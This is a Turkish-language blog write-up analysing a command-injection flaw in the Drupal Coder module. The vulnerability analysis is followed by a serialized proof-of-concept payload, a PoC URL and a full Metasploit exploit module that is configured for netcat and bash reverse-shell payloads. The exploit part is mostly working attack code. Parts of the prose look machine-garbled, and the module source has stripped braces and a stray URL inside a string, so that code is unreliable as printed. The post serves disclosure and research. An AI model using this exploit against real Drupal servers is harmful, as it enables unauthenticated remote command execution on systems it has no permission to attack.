Siber Güvenlik

Drupal Coder Zafiyet Analizi & Metasploit Modülü Geliştirilmesi

Bildiğiniz şeklinde Drupal’in security ekibi zafiyet yönetimini son aşama ciddiye almaktadır. Bu ekip, zafiyeti gören şahıs yada kişiler ile koordineli bir emek harcama gerçekleştirip, fazlaca tehlikeli sonuç bir husus yok ise her haftanın çarşamba günü yama yayınlamakta. Benimde vakaya dahil olduğum an, bu modül için yamanın yayınlandığı gün oldu.

Drupal Security ekibi, herhangi bir PoC kodu yada teknik detay paylaşımı gerçekleştirmemektedir. Bu durumda, eğer zafiyet fazlaca belirgin bir halde sırıtmıyor ise, 1day saldırıların önüne geçilmesi noktasında bir katma değere dönüşmektedir.

Bu zafiyet için PoC kodunun hemen hemen oluşturulmuş olmaması, Core Security firmasındaki zafiyet araştırmacısı ekibin attığı tweetlerinde PoC için ciddi bir sorun yaşadıklarını görmüş olmak benimde merakımı uyandırdı…

Ve macera başlamış oldu.

Zafiyete İlk Bakış

Git commit’ine baktığımızda aşağıdaki informasyon bizi karşılamaktadır.

Görünen o ki, modules/coder/coder_upgrade/scripts/coder_upgrade.run.php adresine web üstünden erişim engeli ile zafiyet yaması yayınlanmış. Zafiyetin oluştuğu noktayı anlamakta maalesef bizlere destek olan bir informasyon değil.

drupal-diff

Görünen o ki, modules/coder/coder_upgrade/scripts/coder_upgrade.run.php adresine web üstünden erişim engeli ile zafiyet yaması yayınlanmış. Zafiyetin oluştuğu noktayı anlamakta maalesef bizlere destek olan bir informasyon değil.

coder_upgrade.run.php dosyasında ki kodları okumaya başlamış olalım.

drupal-extract-func

extract_arguments() fonksiyonu $path adlı değişkeni oluşturmakta. Peşinden bu path parametresi, bizim en sevdiğimiz iki fonksiyona, şu demek oluyor ki, file_get_contents ve unserialize fonksiyonlarına parametre olarak gönderilmekte.

unserialize işlemi sonunda, şu demek oluyor ki string olarak anlatılan bir php array’i $parameters adlı bir değişkeni oluştururduktan sonrasında bir for döngüsüne girmekte. Burada ki en mühim nokta, $$key şu demek oluyor ki değişken işaretçisinin kullanılmış olmasıdır. Bu sayede coder_upgrade.run.php içinde istediğimiz isimde değişkeni tanımı yapabilir durumdayız. Eğer ki, $path değişkeni kontrolümüz altında ise ?

Path değişkenini oluşturan extract_arguments fonksiyon tanımı aşağıdaki gibidir.

drupal-file-param

138. satır der ki, eğer beni çağıran şahıs apache2handler ise şu demek oluyor ki web üstünden çağırılmış isem, bununla birlikte da GET parametresi olarak file tanımlı ise, $filename değişkenini return et. ( Bu return ekran görüntüsünde yoktur. 142. satırdaki değişken hemen sonra fonksiyon return’ü ile geri gönderilmektedir. )

Netice ?

coder_upgrade.run.php dosyasına GET parametresi olarak file ile gönderilen veri, ilk olarak file_get_contents fonksiyonuna gönderilmektedir. Buradan dönen netice ise unserialize şu demek oluyor ki object injection süreçlerinden yakından tanıdığımız ikinci bir fonksiyona gönderilmektedir.

PHP düsyasını azca fazlaca tanıyan her insanın bilmiş olduğu suretiyle, file_get_contents fonksiyonu parametresi eğer saldırganın kontrolü altında ise; eski dostumuz RFI ve LFI, yeni dostumuz SSRF şeklinde zafiyetler oluşmaktadır. Bizim ilgilendiğimiz nokta ise vakası daha da ileriye götürmek ve Remote Code Execution yapabilmek. Peki ya {nasıl} ?

drupal-unserialize

77 – 82 satırlar daha ilkin tanıdığımız kodlar. Bizim içinse en mühim nokta 81. satır şu demek oluyor ki değişken işaretçisinin kullanıldığı yer. Bu sayede uygulamanın devamında ki $variables, $path[‘files_base’] vb tüm değişkenleri saldırgan olarak tanımlayabilmekteyiz. Bu değişkenlerin değerlerinin değiştirebiliyor olmamız ise bizlere uygulamanın kod akışını denetim edebilme imkanı sunmaktadır. Denetim ettiğimiz akışı ise istediğimiz bir fonksiyona yönlendirme ihtimalimiz mevcuttur.

Tüm kaynak kod analizi temelli saldırıların 3 ana adımı mevcuttur.

  1. Zafiyet Tespiti
  2. Varılmak istenen kod bloğu
  3. İstenen noktaya giden yolun bulunması

Bizim için birinci adım başarıyla tamamlanmış durumda. coder_upgrade.run.php dosyasında ki tüm değişkenleri kendimiz tanımlayabilmekteyiz. Peki varmak istediğimiz yer ?

➜  coder_upgrade find . -type f|xargs grep 'shell_exec(|passthru(|system('
./includes/main.inc:  shell_exec("diff -up -r $old_dir $new_dir > $patch_filename");

Görünen o ki includes/main.inc dosyasında bir yerde shell_exec fonksiyonu parametreler ile çalıştırılmakta. Bir ihtimal bu parametreleri değiştirebiliriz ? Fakat ilk olarak bu satırın geçmiş olduğu fonksiyonu, o fonksiyona erişmek içinse hangi kırılımlara ne değerlerin verilmesi icap ettiğini öğrenmeliyiz.

drupal-patch-file

578. satır shell_exec fonksiyonunun kullanıldığı an. 575 ve 576. satırlarda ise shell_exec tarafınca kullanılan parametrelerin tanımları bulunmakta. Görünen o ki, eğer $item adlı fonksiyon parametresini biz belirleyebilirsek, bir tane Command Injection zafiyetimiz oluşmakta. $item adlı değişkeninde bir PHP array’i bulunduğunu not ederek yolculuğa devam ediyoruz. Bu fonksiyon şu demek oluyor ki coder_upgrade_make_patch_file nerede ? kim tarafınca çağırılıyor ?

drupal-upgrade-start

İki tane haber bizi bekliyor. İyi haber; direk 63. satıra bakınız. $item parametresi ile beraber hedeflediğimiz fonksiyon çağırılmış durumda.

Fena haber ise; 63. satıra kadar bir fazlaca denetim, fonksiyon çağrısı şu demek oluyor ki alt programlara dallanma mevcut. Görevimiz artık daha zor, bu yüzden yaklaşımımızı değiştirmemiz gerekiyor.

  1. 30. ve 51. satırlar içinde tüm if’ler için eğer denetim edebildiğimiz bir parametre ise if’e asla girmemeyi sağlamalıyız. Eğer girmek durumunda isek, mümkün mertebe minimum dallanmaya sebeb olacak şekilde hareket etmeliyiz.
  2. 51,52, 60 ve 62. satırlarda ki tüm fonksiyonları tek tek denetim edeceğiz. Hiçbir error olmadan bu fonksiyonlar true dönüş yapmak zorundayız. Ters halde 63. satıra şu demek oluyor ki Command Injection yapacağımız coder_upgrade_make_patch_file fonksiyonuna ulaşamayız.

Tüm bu kuralları ve süreci uygulamadan ilkin bir başka sorunumuz daha var. coder_upgrade_make_patch_file fonksiyonuna erişmek istiyoruz ? evet! Peki bunu kim çağırıyor ? coder_upgrade_start fonksiyonu. Güzel…

Peki coder_upgrade_start’ı kim çağırıyor ? Zira bu fonksiyon çağırılmaz ise hiçbir şekilde coder_upgrade_make_patch_fileadresine erişim sağlayamayacağız.

Yazının başına geri dönüyoruz. coder_upgrade.run.php dosyası şu demek oluyor ki bizim saldırımızı başlattığımız dosyada 119. satıra bakınız. Tamda istediğimiz fonksiyon burada çağırılmış durumda..!

Durum Özeti

Uzun soluluklu seyahatimize başlamadan ilkin bir yol haritamızın özetini yapalım.

  • coder_upgrade.run.php bizim başlangıç noktamız. file parametresi üstünden serialized edilmiş hususi bir array gönderebiliyoruz. Bu array’in her indisi coder_upgrade.run.php içinde bir değişken olarak tanımlanabilmekte. (foreach döngüsünü hatırlayın.)
  • 119. satırdaki coder_upgrade_start() bizim başlangıç fonksiyonumuz. Parametre olarak $upgrade, $extensions ve $items değişkenlerini alıyor. Bu değişkenleri bundan önceki adımda anlattığımız durum yardımıyla biz tanımlayabilmekteyiz.
  • coder_upgrade_start() fonksiyonunda ki 30. ve 51. satırlar içinde tüm if’ler için eğer denetim edebildiğimiz bir parametre ise if’e asla girmemeyi sağlamalıyız. Eğer girmek durumunda isek mümkün mertebe minimum dallanmaya sebeb olacak şekilde hareket etmeliyiz. Zira gayemiz en kısa yoldan 63. satırdaki coder_upgrade_make_patch_file() fonksiyonuna erişmek.
  • Gene coder_upgrade_start() fonksiyonunun tanımında ki 51,52, 60 ve 62. satırlarda ki tüm fonksiyonları tek tek denetim edeceğiz. Hiçbir error olmadan bu fonksiyonlar true dönüş yapmak zorunda. Ters halde 63. satıra şu demek oluyor ki Command Injection yapacağımız coder_upgrade_make_patch_file fonksiyonuna ulaşamayız.

BAŞLANGIÇ

Daha ilkin belirttiğim şeklinde coder_upgrade.run.php dosyasının 119. satırına hiçbir sorun olmadan erişmemiz gerekmekte. 119. satıra ulaşmadan önce ilgimizi çeken bir kaç mühim değişken tanımı var.

drupal-variables

Bu değişkenleri tanımlamak zorundayız, bu sebeple hemen sonra bir fazlaca süreçte kullanılıyor olacak. Gördüğünüz suretiyle $path array’inde files_base, libraries_base ve modules_base adlı array elemanlarına ihtiyacımız var. Saldırımızı en sonunda serialized edilmiş bir array üstünden gerçekleştireceğiz. Bunun için ilk olarak paths değişkenini aşağıdaki şekilde hücum kodumuzda tanımlamaktayız.

drupal-payload

Burada dikkat edilecek husus; modules, files ve libraries için doğru path’in tanımlanması. Bunun içinde ../.. dizin tanımlarını kullanabiliriz.

119. satıra ulaşmadan önce karşımıza bir öteki dallanma durumu çıkmakta.

drupal-dallanma

Bu durumdan kurtulmak için $theme_cache parametresini var olmayan bir dosya yada klasör ile tanımlayabiliriz. Böylece is_filefonksiyonu FALSE dönecek ve dallanma önlenmiş olacaktır.

Hücum array’imizin son hali aşağıdaki duruma geldi. theme_cache ve variable sisimli iki array elemanı daha ekledik. Bunlardan theme_cache var olmayan bir dosya adı yazdık ki yukarıdaki dallanma gerçekleşmesin.

drupal-payload2

Ve sonunda 119. satırdaki coder_upgrade_start() fonksiyonuna sorunsuz bir halde erişmiş buluyoruz. Unutmamalıyız ki, hemen hemen başlangıç noktasına geldik. coder_upgrade_start() üstünden coder_upgrade_make_patch_file() fonksiyonuna erişmeye çalışacağız.

1. adım – coder_upgrade_start() Fonksiyonu

Bu fonksiyon oldukça uzun bir tanıma haiz. Yazının daha önceki kısımlarında fonksiyon tanımı paylaşılmıştı. Yeniden hatırlatmak ve adım adım çözümleme etmek için aşağıda tanımı yeniden veriyorum.

drupal-coder-upgrade

Amacımızıda yeniden hatırlatmakta yarar var, 63. satırda ki coder_upgrade_make_patch_file() fonksiyonuna erişmeliyiz.

İlk dikkat çeken nokta 30-38. satırlar içinde ki if tanımları. $upgrades, $extensions ve $items değişkenleri array olmalı. Bununla beraber da minimum bir tane elemanı bulunmalı. Ters halde return False sonucu oluşacak ve 63. satıra gelmeden execution sonlanacaktır. Bu üç değerinde fonksiyon parametresi bulunduğunu görmekteyiz. Doğrusu bu tanımları coder_upgrade.run.php üstünde yapmalıyız.

Hücum kodumuzunda ki array’i aşağıdaki şekilde güncelliyoruz.

drupal-payload3

Bu bizi hiçbir return False komutuna düşmeden direkt 39. satıra kadar getirmiş olacaktır.

39 – 50. satırlar içinde ki kodları ise maalesef denetim edemiyoruz. Bunun sebebi hem variable_get() fonksiyonu çağrılarıdır, hemde bazı değişkenler fonksiyon mahalli değişkenleridir. Fonksiyon mahalli değişkenlerini global ön tanımı olmadığı sürece denetim edememekteyiz. Bu durumda bizi direkt 51. satırda ki coder_upgrade_load_code($upgrade) fonksiyonu çağrısına getirmektedir. $upgrade değişkenini denetim edebildiğimiz için bu fonksiyonada hususi olarak bakmalıyız. Herhangi bir mesele olmadan bu fonksiyon return True döndürmelidir. Ters halde 63. satıra ilerleyemeyiz.

drupal-load-code

Gene ilk bakışta dikkat çeken bir fazlaca dallanma ve daha da önemlisi require_once çağrılarıdır. Mahalli dizin üstünden başka dosyalar çağırılabilmekteyiz. Bu özellik yardımıyla Local File Inclusion saldırıları gerçekleştirebilme ihtimalimiz mevcut. Lakin gayemiz direkt 63. satıra şu demek oluyor ki Command Injection yapacağımız fonksiyona erişmek olduğundan vakit kaybetmeden coder_upgrade_load_code()fonksiyonunun netice üretmesini sağlamalıyız. Ihmal etmeyin, $upgrade parametresini biz denetim etmekteyiz!

İlk karşımıza çıkan,78. satırdaki foreach döngüsü oldu. Bu döngüyü bir kere dönerek fonksiyondan çıkmayı istemekteyiz. Ek olarak 80. satırdaki if ile meydana getirilen dallanmaya dikkat edin. Kıymet 80. satırda ki if kontrolü false olursa 85. satırdaki drupal_get_path() çağrısı yapılacaktır. Bu davet ile uğraşmaktansa direk 82. satırdaki değişken tanımını yapmayı tercih etmeliyiz. Böylece fazlaca daha azca bir dallanma ile yolumuza devam edebiliriz.

İkinci bir alt dallanma ise 87. ve 92. satırlarda ki if, elseif tanımları. Eğer 87. satırdaki if true dönerse, bir başka foreach ve require_once çağrısı olacaktır ki bunu asla istemiyoruz. Ek olarak 92. satırda ki elseif true dönerse gene require_once çağrısı olacaktır. Bu durumdan da kaçmak isteriz. Şundan dolayı require_once çağrılarının sonunda .upgrade şeklinde postfix tanımları mevcut. Bunu x00 şu demek oluyor ki Null Byte injection ile aşabiliriz. Lakin PHP Null Byte Injection bir tek PHP4 – PHP5.3 versiyonları içinde iş yapmaktadır. Generic bir exploit yazmamıza engel olabilir. Bir ihtimal hedefimiz PHP7.0 kullanmakta ?

Tüm bu çileye son verecek hücum array tanımımız aşağıdaki şekilde olmalıdır. upgrades tanımına dikkatlice bakınız. path değişkeni tanımlı ve içi boş OLMADIĞI için 82. satıra giriş yapabilmekteyiz. Böylece bahsettiğim 85. satırdakidrupal_get_path() fonksiyonundan kurtulmuş oluyoruz.

drupal-payload4

Ek olarak $upgrade değişkenimizde $files parametresi olmadığı için 87. satırdaki dallanmadan da kurtuluyoruz. Bu bizi 92. satıra getirmektedir. Bu satırdaki if kontrolünün FALSE dönmesi içinde module değişkenine foo kıymetini atadık. Böylecek file_exist()fonksiyonu FALSE dönecek ve 94. satırdaki require_once koduna asla uğramadan fonksiyondan başarıya ulaşmış bir halde kurtulmuş olacağız.

Evet. Başladığımız noktaya geri dönmeyi başardık. coder_upgrade_start() fonksiyonunun 51. satırındakicoder_upgrade_load_code($upgrades); çağrısından başarıyla çıkmış olduk. Yolumuza devam etmenin zamanı geldi. 63. satıra erişmeliyiz. Bunun için coder_upgrade_start() fonksiyonunun ilgili kod bloğunu yeniden aşağıda paylaşıyorum.

drupal-foreach

55. satırda bir başka foreach daha var. Buna girmek zorundayız. Ters halde 63. satıra erişemeyiz. coder_upgrade_make_patch_file()bizim hedefimiz!

Foreach döngüsü, $items adlı array’in her elemanını tek tek $item değişkeninde tutmakta. 63. satırdaki fonksiyonumuz ise $itemdeğişkenini parametre olarak almakta..! Mükemmel! Lakin başka problemlerimiz var. Minimum 3 tane değişik fonksiyonunun çağrısı oluşacak…

57. satırda ki if eğer doğru netice üretirse, coder_upgrade_convert_begin() fonksiyonu çağrılacaktır. Bunu engellemeliyiz. Başka bir dallanmayı istemiyoruz. Her neyse ki if’i çözümleme ettiğimizde bu fonksiyona girmek için HTTP_USER_AGENT değişkenimiz ya tanımlı olmamalı, yada user agent değerimiz simpletest olmamalıdır. Doğrusu demem o ki, düzgüsel bir HTTP GET talebimiz bu 58. satıra dallanmaya aslına bakarsanız izin vermemekte. Güzel bir haber bu, yolumuza devam edebiliriz.

60. satırdaki coder_upgrade_convert_dir() ve 62. satırdaki coder_upgrade_convert_end() çağrılarından kaçamıyoruz. Şimdiye kadar yaptığımız şeklinde, bir yolunu bulup bu fonksiyonların problemsiz bir halde sonuçlanmasını sağlamalıyız. Her iki fonksiyonun parametrelerinin minimum 2 tanesini biz denetim edebiliyoruz.

1.1 Alt Dallanma: coder_upgrade_convert_dir() Analizi

Karşımıza fazlaca daha büyük bir fonksiyon çıkmış durumda. Bu birazcık motivasyon kırıcı olsada ben bir tek ilgileneceğimiz kısımları, üstünde saatler harcadıktan sonrasında, tespit ettim. Bir tek ilgili kısımları sizlerle aşağıda paylaşıyorum.

drupal-convert-dir

166. ve 167. satırda denetim edebildiğimiz iki değişken üstünden $dirname ve $new_dirname tanımları yapılmış durumda. 170. satırdaki dallanmada ise bir tercih yapacağız. Bu tercih yazının Exploitation kısmında karşımıza ciddi bir sorun çıkartacak. Lakin o kısma hemen sonra geliriz. Ilk olarak sorunumuz şu: $new_dirname eğer is_dir() kontrolünden false dönerse sunucuda bir dizin oluşturulacak ( 171 ve 172. satırlar) eğer mevcud bir dizini belirtirsek ise 175. satırda başka bir fonksiyon daha çağırılacak. Açıkcası daha çok fonksiyon ile uğraşmak istemiyoruz. Bu yüzden tercihimiz 171. ve 172. satırlara girmek olmalı.

189. satırda ise $dirname değişkeninin işaret etmiş olduğu dizinde ki tüm dosyalar üstünde, 190. satırdaki foreach çalışacak. Ekran görüntüsüne dahil etmediğim bu kısım uzunca bir başka kod bloğuna ihtiva etmekte. Bu kısımlara girmemek için $dirname değişkenini Drupal Coder ile gelen fotoğraf dosyasına işaret edebiliriz. Bu sayede scandir() bir tek resimlerin olduğu bir array dönecek. Böylece foreach’e girsek bile hiçbir .php, .module, .inc vb uzantıya haiz dosya olmadığı için foreach hiçbir iş yapmadan çıkacaktır 🙂

Yeni hücum array’imiz aşağıdaki şekilde oluşmaktadır. items array’inin old_dir ve new_dir elemanlarına yukarıdaki paragrafta belirttiğimiz işi meydana getirecek değerleri yazdık.

drupal-payload5

Bu fonksiyondan da alnımızın akı ile çıktıktan sonrasında, şimdi sıra ikinci fonksiyonumuzda.

1.2 Alt Dallanma: coder_upgrade_convert_end()

Artık talih yüzümüze gülmekte.

drupal-convert-end

Gördüğünüz suretiyle fazlaca azca bir tarif var. Hiçbir şey ile uğraşmadan buradan direk geçiyoruz.

2. Ve beklenen an! coder_upgrade_make_patch_file()

Onca çileden sonrasında nihayet son durağa varmış bulunmaktayız. 551. satıra gelmek üzereyiz. shell_exec fonksiyonuna baktığımızda 551. satırdaki $old_dir ve $new_dir adlı iki parametrenin herhangi bir tedbir alınmadan direkt komut içinde kullanıldığını görmekteyiz. Zira bunu yazının en başlangıcında tespit ettik ve buraya varmaya çalıştık.

drupal-patch-file

548 ve 549. satırlarda bu iki değişkenin {nasıl} atandığını görmekteyiz. Eğer $item adlı array’in old_dir ve new_dir adlı indisleri mevcut ise, bu değerler direkt yeni değişken üretiminde kullanılmakta. Bu bizim için mutluluk verici bir haber. Şundan dolayı $item array’i fonksiyon parametresinden gelmekte. Doğrusu bizim en başından beri denetim edebildiğimiz bir takım.

Aşağıdaki hücum array’imizin PoC halini oluşturmuş durumdayız. items array’inin new_dir adlı parametresine payload yerleştirilmekte. Bu sayede diff komutunu çalıştıran shell_exec fonksiyonunda Command Injection gerçekleştirebilmekteyiz.

drupal-payload6

Proof of Concept

Yukarıda son hali paylaşılmış olan array’imizi mahalli sunucu üstünden yayınlıyoruz.

http://10.0.0.1:8081/exploit.php
a:6:s:5:"paths";a:3:s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";s:11:"theme_cache";s:16:"theme_cache_test";s:9:"variables";s:14:"variables_test";s:8:"upgrades";a:1:i:0;a:2:s:4:"path";s:2:"..";s:6:"module";s:3:"foo";s:10:"extensions";a:1:s:3:"php";s:3:"php";s:5:"items";a:1:i:0;a:3:s:7:"old_dir";s:12:"../../images";s:7:"new_dir";s:15:"-v;
 sleep 100 #";s:4:"name";s:4:"kontrol";

Görüldüğü suretiyle serialized edilmiş halde karşımızda. Bu veriyi ise file GET parametresi üstünden uygulamaya göndermeliyiz. En başa, bu file parametresini gönderdiğimiz kod bloğunu hatırlayalım.

drupal-extract-func

Hatırlarsanız extract_arguments() fonksiyonu HTTP GET üstünden file parametresini almakta ve $path adlı değişkene atamaktaydı. Bu değişken file_get_contents() üstünden indirilmekte ve unserialize edilerek hücum array’imiz uygulamaya ulaştırılmaktaydı.

POC URL : http://10.0.0.162/drupal/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=http://10.0.0.1:8081/exploit.php 

Sayfanın geri dönüşü 10 saniye geciktiğini görmekteyiz. Bu bizlere Blind Command Injection hücum yapabildiğimizi ispatlamaktadır…!

Metasploit Modülü

Açıkcası şu ana anlatılanları çözümleme etmem 1 gün şeklinde ciddi bir süreye, güzel bir cumartesi günüme mal oldu. Detaylı bir kaynak kod analizi, dallanmaları engellemenin yolları, küçük ve ince trickler ile geçen sürenin arkasından nihayet PoC’yi gerçekleştirebildik. Şimdi ise sıra “reliable exploit” ‘in geliştirilmesine geldi.

Karşılaşılan Engeller

Hatırlarsanız ki hücum komutumuzu $item array’inin new_dir elemanı üstünden göndermekteyiz. Uzun devam eden analizlerimizden bir tanesinde, command injection’ı gerçekleştirmeden ilkin bu değişkenin başka fonksiyonlar tarafınca kullanıldığını görmüştük. Hatırlamayanlar için coder_upgrade_convert_dir() fonksiyonuna geri dönelim.

drupal-convert-dir

Burada $item[‘new_dir] şu demek oluyor ki bizim hücum kodumuzu ilettiğimiz parametre mkdir() ve chmod() fonksiyonlarında kullanılmakta. Biz 175. satırda ki fonksiyondan korktuğumuz için -açıp ilgili fonksyonu okuyun, hakkaten korkutucu- 171. ve 172. satırlara giriş yapmayı tercih ettik. Aslına bakarsanız bu analizi yaparken de, bizlere hemen sonra ciddi bir sorun olacak bir karar veriyoruz, demiştik.

Sorun #1: mkdir ve chmod fonksiyonları input olarak almış olduğu değişkenin 255 karakterden minik olmasını istemektedir. Bu kaide unix ailesinin dosya adı boyutu sınırlandırmasından gelmekte. Buda hücum kodumuzun -shellcode olarak düşünebilirsiniz- belirli bir limitte olmasını mecburi kılmakta.

Ek olarak diff komutunun herhangi bir error üretip error.log’a yazılmaması için payload’ımız -v; karakteri ile başlamakta. Komut sonrası kısmın işlem dışarısına alınması içinse [SPACE]# kullanmak zorundayız. Buda aslına bakarsanız 255 şeklinde limitli olan bir payload alanı için 5 tane karakterimizide kaybettiğimiz anlamına gelmekte. Aslolan payload uzunluğumuz 250 karakter olmak zorunda artık.

Sorun #2: Gene mkdir ve chmod için parametre olaran gelen veride / işareti path belirtmektedir. Bizim reverse_shell vb payloadlarımızı taşıyan bu değişkende / işaretini artık kullanamıyoruz. Doğrusu nc -i /bin/bash 10.0.0.1 diyemeyiz. Şundan dolayı payload içinde /bulunmaktadır.

Bu problemleri Metasploit’in modüle özellikleri kullanarak aşabilmekteyiz.

Space alanının 250 yapılması ve BadChars olarak x2f şu demek oluyor ki / işaretinin atanması Metasploit modülünün payload generate işleminde lüzumlu encoding’lerin yapılmasını sağlamakta.

Ek olarak PayloadType ve RequiredCmd olarakta 250 karakter altında payload ürettiğine güvenli olduğumuz payload tiplerini enable etmiş bulunuyoruz.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  def initialize(info=)
    super(update_info(info,
      'Name'           => 'Drupal CODER Module Remote Command Execution',
      'Description'    => %q
        This module exploits a Remote Command Execution vulnerability in
        Drupal CODER Module. Unauthenticated users can execute arbitrary command
        under the context of the web server user.
        CODER module doesn't sufficiently validate user inputs in a script file
        that özgü the php extension. A malicious unauthenticated user can make
        requests directly to this file to execute arbitrary command.
        The module does not need to be enabled for this to be exploited
        This module was tested against CODER 2.5 with Drupal 7.5 installation on Ubuntu server.
      ,
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Taha Mumcu <info@tahamumcu.com.tr>'  # msf module
        ],
      'References'     =>
        [
          ['URL', 'https://www.drupal.org/node/2765575']
        ],
      'Privileged'     => false,
      'Payload'        =>
        
          'Space'       => 250,
          'DisableNops' => true,
          'BadChars'    => "x2f",
          'Compat'      =>
            
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'netcat netcat-e bash-tcp'
            ,
        ,
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [ ['Automatic', ] ],
      'DisclosureDate' => 'Jul 13 2016',
      'DefaultTarget'  => 0
      ))
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/'])
      ]
    )
  end
  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
    )
    if res && res.body.include?('file parameter is not setNo path to parameter file')
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end
  def exploit
    p = ''
    p << 'a:6:s:5:"paths";a:3:s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";'
    p << 's:11:"theme_cache";s:16:"theme_cache_test";'
    p << 's:9:"variables";s:14:"variables_test";'
    p << 's:8:"upgrades";a:1:i:0;a:2:s:4:"path";s:2:"..";s:6:"module";s:3:"foo";'
    p << 's:10:"extensions";a:1:s:3:"php";s:3:"php";'
    p << 's:5:"items";a:1:i:0;a:3:s:7:"old_dir";s:12:"../../images";'
    p << 's:7:"new_dir";s:'
    p << (payload.encoded.length + 5).to_s
    p << ':"-v;'
    p << payload.encoded
    p << "https://www.tahamumcu.com.tr/#";s:4:"name";s:4:"kontrol";'
    payload = "data://text/plain;base64,#Rex::Text.encode_base64(p)"
    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
      'encode_params' => false,
      'vars_get' => 
        'file' => payload
      
    )
  end
end

Bu iki informasyon ışığında bir metasploit modülü geliştirdim ve PR gönderdim. Bu yazının yazdılığı tarihte de IRC üstünden HDM (HD Moore) ve WVU-7 nickli metasploit yetkilileri ile de uzun uzun münakaşa ettik. Şu anda itibariyle modül kabul almış durumda. (https://github.com/rapid7/metasploit-framework/pull/7115/)

drupal-msf

Son

Olayın sonunda zafiyeti gören NCC Group araştırmacısı ile de görüşmüş oldum. Kendisi zafiyeti tespit ettikten sonrasında Remote Code Execution için bir race condition durumunu kullanmaya çalıştığını dile getirmişti. Kendisine(Nickly Bloor) bu süreçteki katkılarından dolayı teşekkür ederim.


Merhaba, beni Instagram'da takip etmeyi unutmayın : @tahamumcu
Taha Mumcu
Ben Taha Mumcu, Bilişim sektöründe uzun süreden beri tecrübe edinerek bir yerlere gelmek için çalışmalarına devam eden ve sektörü yakından takip ederek hiç bir veriden geri kalmayan, girişimci ruhu ile tüm işlere elinden geldiğinde çalışma yapan bir girişimciyim. Henüz genç yaşta birçok tecrübeye ulaşan ve koyulan engelleri aşarak bir yerlere gelmek için çaba göstermekten çekinmiyorum.

Leave a reply

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

You may also like

Next Article:

0 %